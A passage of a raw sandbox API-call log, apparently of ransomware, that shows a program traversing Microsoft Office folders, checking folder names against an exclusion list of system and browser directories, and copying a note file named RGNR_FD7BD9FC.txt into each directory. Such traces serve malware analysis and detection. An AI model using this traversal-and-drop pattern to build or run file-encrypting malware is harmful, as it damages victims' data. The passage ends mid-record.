lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbcce4400, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTOSHAP", cAlternateFileName="")) returned 1 [0096.456] lstrcmpiW (lpString1="AUTOSHAP", lpString2=".") returned 1 [0096.456] lstrcmpiW (lpString1="AUTOSHAP", lpString2="..") returned 1 [0096.456] lstrcmpiW (lpString1="AUTOSHAP", lpString2="Windows") returned -1 [0096.456] lstrcmpiW (lpString1="AUTOSHAP", lpString2="Windows.old") returned -1 [0096.456] lstrcmpiW (lpString1="AUTOSHAP", lpString2="Tor browser") returned -1 [0096.456] lstrcmpiW (lpString1="AUTOSHAP", lpString2="Internet Explorer") returned -1 [0096.456] lstrcmpiW (lpString1="AUTOSHAP", lpString2="Google") returned -1 [0096.456] lstrcmpiW (lpString1="AUTOSHAP", lpString2="Opera") returned -1 [0096.456] lstrcmpiW (lpString1="AUTOSHAP", lpString2="Opera Software") returned -1 [0096.456] lstrcmpiW (lpString1="AUTOSHAP", lpString2="Mozilla") returned -1 [0096.456] lstrcmpiW (lpString1="AUTOSHAP", lpString2="Mozilla Firefox") returned -1 [0096.456] lstrcmpiW (lpString1="AUTOSHAP", lpString2="$Recycle.Bin") returned 1 [0096.456] lstrcmpiW (lpString1="AUTOSHAP", lpString2="ProgramData") returned -1 [0096.456] lstrcmpiW (lpString1="AUTOSHAP", lpString2="All Users") returned 1 [0096.456] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0096.456] lstrcpyW (in: lpString1=0x1eb62a, lpString2="AUTOSHAP" | out: lpString1="AUTOSHAP") returned="AUTOSHAP" [0096.456] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0096.456] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0096.456] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\RGNR_FD7BD9FC.txt" [0096.456] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0096.460] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*" [0096.461] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.461] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0096.461] lstrcpyW (in: lpString1=0x1ea750, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0096.461] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8bbbf3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8bbbf3e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0096.461] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0096.461] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8bbbf3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8bbbf3e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.462] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0096.462] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0096.462] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTOSHAP.DLL", cAlternateFileName="")) returned 1 [0096.462] lstrcmpiW (lpString1="AUTOSHAP.DLL", lpString2=".") returned 1 [0096.462] lstrcmpiW (lpString1="AUTOSHAP.DLL", lpString2="..") returned 1 [0096.462] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6154e300, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6154e300, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0x926, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18180_.WMF", cAlternateFileName="")) returned 1 [0096.462] lstrcmpiW (lpString1="BD18180_.WMF", lpString2=".") returned 1 [0096.462] lstrcmpiW (lpString1="BD18180_.WMF", lpString2="..") returned 1 [0096.462] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe4e1600, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe4e1600, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18181_.WMF", cAlternateFileName="")) returned 1 [0096.462] lstrcmpiW (lpString1="BD18181_.WMF", lpString2=".") returned 1 [0096.462] lstrcmpiW (lpString1="BD18181_.WMF", lpString2="..") returned 1 [0096.463] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0ce0000, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa0ce0000, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18182_.WMF", cAlternateFileName="")) returned 1 [0096.463] lstrcmpiW (lpString1="BD18182_.WMF", lpString2=".") returned 1 [0096.463] lstrcmpiW (lpString1="BD18182_.WMF", lpString2="..") returned 1 [0096.463] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe12d7e00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe12d7e00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xd22, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18184_.WMF", cAlternateFileName="")) returned 1 [0096.463] lstrcmpiW (lpString1="BD18184_.WMF", lpString2=".") returned 1 [0096.463] lstrcmpiW (lpString1="BD18184_.WMF", lpString2="..") returned 1 [0096.463] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8867900, ftCreationTime.dwHighDateTime=0x1bdcf1b, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd8867900, ftLastWriteTime.dwHighDateTime=0x1bdcf1b, nFileSizeHigh=0x0, nFileSizeLow=0xd42, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18185_.WMF", cAlternateFileName="")) returned 1 [0096.463] lstrcmpiW (lpString1="BD18185_.WMF", lpString2=".") returned 1 [0096.463] lstrcmpiW (lpString1="BD18185_.WMF", lpString2="..") returned 1 [0096.463] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50bd100, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe50bd100, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x758, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18187_.WMF", cAlternateFileName="")) returned 1 [0096.463] lstrcmpiW (lpString1="BD18187_.WMF", lpString2=".") returned 1 [0096.463] lstrcmpiW (lpString1="BD18187_.WMF", lpString2="..") returned 1 [0096.463] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c95f00, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x84c95f00, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x980, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18189_.WMF", cAlternateFileName="")) returned 1 [0096.463] lstrcmpiW (lpString1="BD18189_.WMF", lpString2=".") returned 1 [0096.463] lstrcmpiW (lpString1="BD18189_.WMF", lpString2="..") returned 1 [0096.463] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea699700, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xea699700, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x994, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18190_.WMF", cAlternateFileName="")) returned 1 [0096.463] lstrcmpiW (lpString1="BD18190_.WMF", lpString2=".") returned 1 [0096.463] lstrcmpiW (lpString1="BD18190_.WMF", lpString2="..") returned 1 [0096.463] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x171d3300, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x171d3300, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0xc9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18191_.WMF", cAlternateFileName="")) returned 1 [0096.463] lstrcmpiW (lpString1="BD18191_.WMF", lpString2=".") returned 1 [0096.463] lstrcmpiW (lpString1="BD18191_.WMF", lpString2="..") returned 1 [0096.463] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6432a00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb6432a00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x2068, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18192_.WMF", cAlternateFileName="")) returned 1 [0096.463] lstrcmpiW (lpString1="BD18192_.WMF", lpString2=".") returned 1 [0096.463] lstrcmpiW (lpString1="BD18192_.WMF", lpString2="..") returned 1 [0096.463] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd07d0800, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd07d0800, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x128e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18193_.WMF", cAlternateFileName="")) returned 1 [0096.463] lstrcmpiW (lpString1="BD18193_.WMF", lpString2=".") returned 1 [0096.463] lstrcmpiW (lpString1="BD18193_.WMF", lpString2="..") returned 1 [0096.463] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29e33800, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29e33800, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0xdde, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18194_.WMF", cAlternateFileName="")) returned 1 [0096.463] lstrcmpiW (lpString1="BD18194_.WMF", lpString2=".") returned 1 [0096.463] lstrcmpiW (lpString1="BD18194_.WMF", lpString2="..") returned 1 [0096.463] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4404e00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf4404e00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18196_.WMF", cAlternateFileName="")) returned 1 [0096.463] lstrcmpiW (lpString1="BD18196_.WMF", lpString2=".") returned 1 [0096.463] lstrcmpiW (lpString1="BD18196_.WMF", lpString2="..") returned 1 [0096.463] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6adbc800, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6adbc800, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x5b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18197_.WMF", cAlternateFileName="")) returned 1 [0096.464] lstrcmpiW (lpString1="BD18197_.WMF", lpString2=".") returned 1 [0096.464] lstrcmpiW (lpString1="BD18197_.WMF", lpString2="..") returned 1 [0096.464] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6adbc800, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6adbc800, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x5c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18198_.WMF", cAlternateFileName="")) returned 1 [0096.464] lstrcmpiW (lpString1="BD18198_.WMF", lpString2=".") returned 1 [0096.464] lstrcmpiW (lpString1="BD18198_.WMF", lpString2="..") returned 1 [0096.464] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fdb1800, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2fdb1800, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xc3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18199_.WMF", cAlternateFileName="")) returned 1 [0096.464] lstrcmpiW (lpString1="BD18199_.WMF", lpString2=".") returned 1 [0096.464] lstrcmpiW (lpString1="BD18199_.WMF", lpString2="..") returned 1 [0096.464] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd302000, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfd302000, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18200_.WMF", cAlternateFileName="")) returned 1 [0096.464] lstrcmpiW (lpString1="BD18200_.WMF", lpString2=".") returned 1 [0096.464] lstrcmpiW (lpString1="BD18200_.WMF", lpString2="..") returned 1 [0096.464] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3c3c400, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd3c3c400, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18201_.WMF", cAlternateFileName="")) returned 1 [0096.464] lstrcmpiW (lpString1="BD18201_.WMF", lpString2=".") returned 1 [0096.464] lstrcmpiW (lpString1="BD18201_.WMF", lpString2="..") returned 1 [0096.464] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6adbc800, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6adbc800, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x56c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18202_.WMF", cAlternateFileName="")) returned 1 [0096.464] lstrcmpiW (lpString1="BD18202_.WMF", lpString2=".") returned 1 [0096.464] lstrcmpiW (lpString1="BD18202_.WMF", lpString2="..") returned 1 [0096.464] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f586200, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3f586200, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18203_.WMF", cAlternateFileName="")) returned 1 [0096.464] lstrcmpiW (lpString1="BD18203_.WMF", lpString2=".") returned 1 [0096.464] lstrcmpiW (lpString1="BD18203_.WMF", lpString2="..") returned 1 [0096.464] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7db3a00, ftCreationTime.dwHighDateTime=0x1bddcb2, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd7db3a00, ftLastWriteTime.dwHighDateTime=0x1bddcb2, nFileSizeHigh=0x0, nFileSizeLow=0x814, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18204_.WMF", cAlternateFileName="")) returned 1 [0096.464] lstrcmpiW (lpString1="BD18204_.WMF", lpString2=".") returned 1 [0096.464] lstrcmpiW (lpString1="BD18204_.WMF", lpString2="..") returned 1 [0096.464] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58631200, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x58631200, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0x8da, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18205_.WMF", cAlternateFileName="")) returned 1 [0096.464] lstrcmpiW (lpString1="BD18205_.WMF", lpString2=".") returned 1 [0096.464] lstrcmpiW (lpString1="BD18205_.WMF", lpString2="..") returned 1 [0096.464] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dd5a600, ftCreationTime.dwHighDateTime=0x1bddc9f, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4dd5a600, ftLastWriteTime.dwHighDateTime=0x1bddc9f, nFileSizeHigh=0x0, nFileSizeLow=0x8da, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18206_.WMF", cAlternateFileName="")) returned 1 [0096.464] lstrcmpiW (lpString1="BD18206_.WMF", lpString2=".") returned 1 [0096.464] lstrcmpiW (lpString1="BD18206_.WMF", lpString2="..") returned 1 [0096.464] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5e8e00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf5e8e00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xfbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18207_.WMF", cAlternateFileName="")) returned 1 [0096.464] lstrcmpiW (lpString1="BD18207_.WMF", lpString2=".") returned 1 [0096.464] lstrcmpiW (lpString1="BD18207_.WMF", lpString2="..") returned 1 [0096.464] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f714100, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4f714100, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x1b28, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18208_.WMF", cAlternateFileName="")) returned 1 [0096.464] lstrcmpiW (lpString1="BD18208_.WMF", lpString2=".") returned 1 [0096.464] lstrcmpiW (lpString1="BD18208_.WMF", lpString2="..") returned 1 [0096.464] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96603600, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x96603600, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xc6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18209_.WMF", cAlternateFileName="")) returned 1 [0096.465] lstrcmpiW (lpString1="BD18209_.WMF", lpString2=".") returned 1 [0096.465] lstrcmpiW (lpString1="BD18209_.WMF", lpString2="..") returned 1 [0096.465] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28673f00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x28673f00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xc4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18210_.WMF", cAlternateFileName="")) returned 1 [0096.465] lstrcmpiW (lpString1="BD18210_.WMF", lpString2=".") returned 1 [0096.465] lstrcmpiW (lpString1="BD18210_.WMF", lpString2="..") returned 1 [0096.465] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea699700, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xea699700, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, 